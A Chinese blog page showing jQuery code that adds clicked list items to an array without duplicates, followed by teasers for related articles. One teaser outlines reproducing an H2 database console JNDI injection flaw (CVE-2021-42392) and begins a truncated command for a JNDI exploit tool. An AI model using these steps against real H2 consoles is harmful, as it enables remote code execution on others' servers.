点击向数组中添加对象,并判断是否已经包含了重复值

需求:现在有一堆列表,当我每次点击列表的每一项时,希望将此项添加到一个数组中,并且已添加的数据不能再添加

效果图

 

 实现:

<!DOCTYPE html>
<html lang="zh">
<head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta http-equiv="X-UA-Compatible" content="ie=edge" /><title>点击选择元素</title><style type="text/css">#warp{display:flex;justify-content:center;}span{margin:10px; width:150px;line-height:45px;background:#eee;text-align:center; display:block;cursor:pointer;font-size:14px;}</style>
</head>
<body><div id="warp"><span data-url="/art-cate">文章分类</span><span data-url="/art-list">文章列表</span><span data-url="/user-info">基本资料</span><span data-url="/user-avatar">更换头像</span><span data-url="/user-pwd">重置密码</span></div>
</body>
</html>
<script type="text/javascript" src="jquery-1.8.3.min.js"></script>
<script type="text/javascript">$(function(){var arr = []$('span').click(function(){var this_obj = {title:$(this).text(),url:$(this).attr('data-url')}console.log('当前选择的:',this_obj)let indexTow = arr.findIndex((e) => {return e.url == this_obj.url;});if (indexTow < 0) {arr.push(this_obj);}console.log('新数组:',arr)});});
</script>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/31.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

kafka3.x 入门 安装(一)

一、下载地址 http://kafka.apache.org/downloads.html 二、 zookeeper安装教程 https://blog.csdn.net/weixin_43205308/article/details/130426019 三、解压 这里使用的是kafka_2.12-3.0.0.tgz tar -zvxf kafka_2.12-3.0.0.tgz四、修改配置 进入到安装路径的config文件夹下…

chatgpt赋能python:Python选择排序最简单的写法是什么?

Python选择排序最简单的写法是什么&#xff1f; 选择排序是一种简单的排序算法&#xff0c;通常用于小规模数据集的排序。Python是一种广泛使用的脚本语言&#xff0c;也可以用来实现选择排序算法。这篇文章将介绍Python选择排序的最简单写法&#xff0c;并分析其优缺点。 选…

Android设计模式—桥接模式

1.桥接模式 桥接模式是一种结构型设计模式&#xff0c;它通过将抽象部分与实现部分分离来解耦。它使用接口作为桥梁&#xff0c;将一个抽象类与其实现类的代码独立开来&#xff0c;从而使它们可以各自独立地变化。桥接模式的核心思想是“组合优于继承”。 简单来讲&#xff0…

dbca添加实例时无法发现对方主机

有个12.2集群环境&#xff0c;需要添加一个实例&#xff0c;直接图形化启动dbca&#xff0c;第四步时只能发现本机&#xff0c;无法识别到另外一个节点&#xff0c;如下图 通过排查发现是oracle用户的密码过期了&#xff0c;细节如下 [roothydb1 ~]# su - grid Last login: W…

ASCII码完整版对照表,收藏起来以备不时之需

目录 ASCII控制字符对照表 ASCII可显示字符对照表 ASCII扩展字符对照表 ASCII编码即美国信息交换标准代码&#xff08;American Standard Code for Information Interchange&#xff09;是一套共有128个字符的编码&#xff0c;它基于阿拉丁字母&#xff0c;主要作用是用来表…

idea生成serialVersionUID序列号

设置idea file->settings,搜索serialVersionUID&#xff0c;勾选框起来的两项 实体类实现Serializable接口 Data public class User implements Serializable { }鼠标放到类名上 点击提示的uid 生成的uid 结束&#xff01; hy:17 生活是一面镜子&#xff0c;给予我们…

4-移动端适配-2

01-vw适配方案 vw和vh基本使用 vw和vh是相对单位&#xff0c;相对视口尺寸计算结果 vw&#xff1a;viewport width&#xff08;1vw 1/100视口宽度 &#xff09;vh&#xff1a;lviewport height ( 1vh 1/100视口高度 ) vw布局 vw单位的尺寸 px 单位数值 / ( 1/100 视口宽…

【深度学习】6-4 卷积神经网络 - CNN的实现

CNN的实现 网络的构成是“Convolution - ReLU - Pooling -Affine - ReLU - Affine - Softmax”&#xff0c;我们将它实现为名为 SimpleConvNet的类。 首先来看一下 SimpleConvNet的初始化&#xff08;init&#xff09;&#xff0c;取下面这些参数。 input_dim——输入数据的维…

移动硬盘中安装Ubuntu 20.04系统——立省99%的问题

目录 关于我为什么要在移动硬盘中装系统 准备工作 开始安装 磁盘分区 创建虚拟机 关于我为什么要在移动硬盘中装系统 (6条消息) 笔记本安装双系统ubuntu时踩的坑——戴尔_放风筝的猪的博客-CSDN博客 准备工作 1.移动硬盘 2.Ubuntu镜像 3.VMware虚拟机 Ubuntu镜像可以从…

Tomcat 8.5 环境搭建指南

文章目录 导言环境搭建总结 导言 欢迎阅读本篇博客&#xff0c;本文将为您提供关于如何搭建Tomcat 8.5环境的详细指南。Tomcat是一个流行的开源Java Servlet容器&#xff0c;它提供了一个运行Java Web应用程序的平台。无论您是新手还是有经验的开发人员&#xff0c;本文都将帮…

微信小程序开发实战 ⑨(TabBar)

作者 : SYFStrive 博客首页 : HomePage &#x1f4dc;&#xff1a; 微信小程序 &#x1f4cc;&#xff1a;个人社区&#xff08;欢迎大佬们加入&#xff09; &#x1f449;&#xff1a;社区链接&#x1f517; &#x1f4cc;&#xff1a;觉得文章不错可以点点关注 &#x1f4…

Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)

漏洞版本 1.1.100 < H2 Console < 2.0.204 漏洞复现 此处复现版本1.4.197 启动项目如下 在Driver Class中输入javax.naming.InitialContext 在JDBCURL中输入jndi注入恶意链接 生成链接命令&#xff1a; java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C…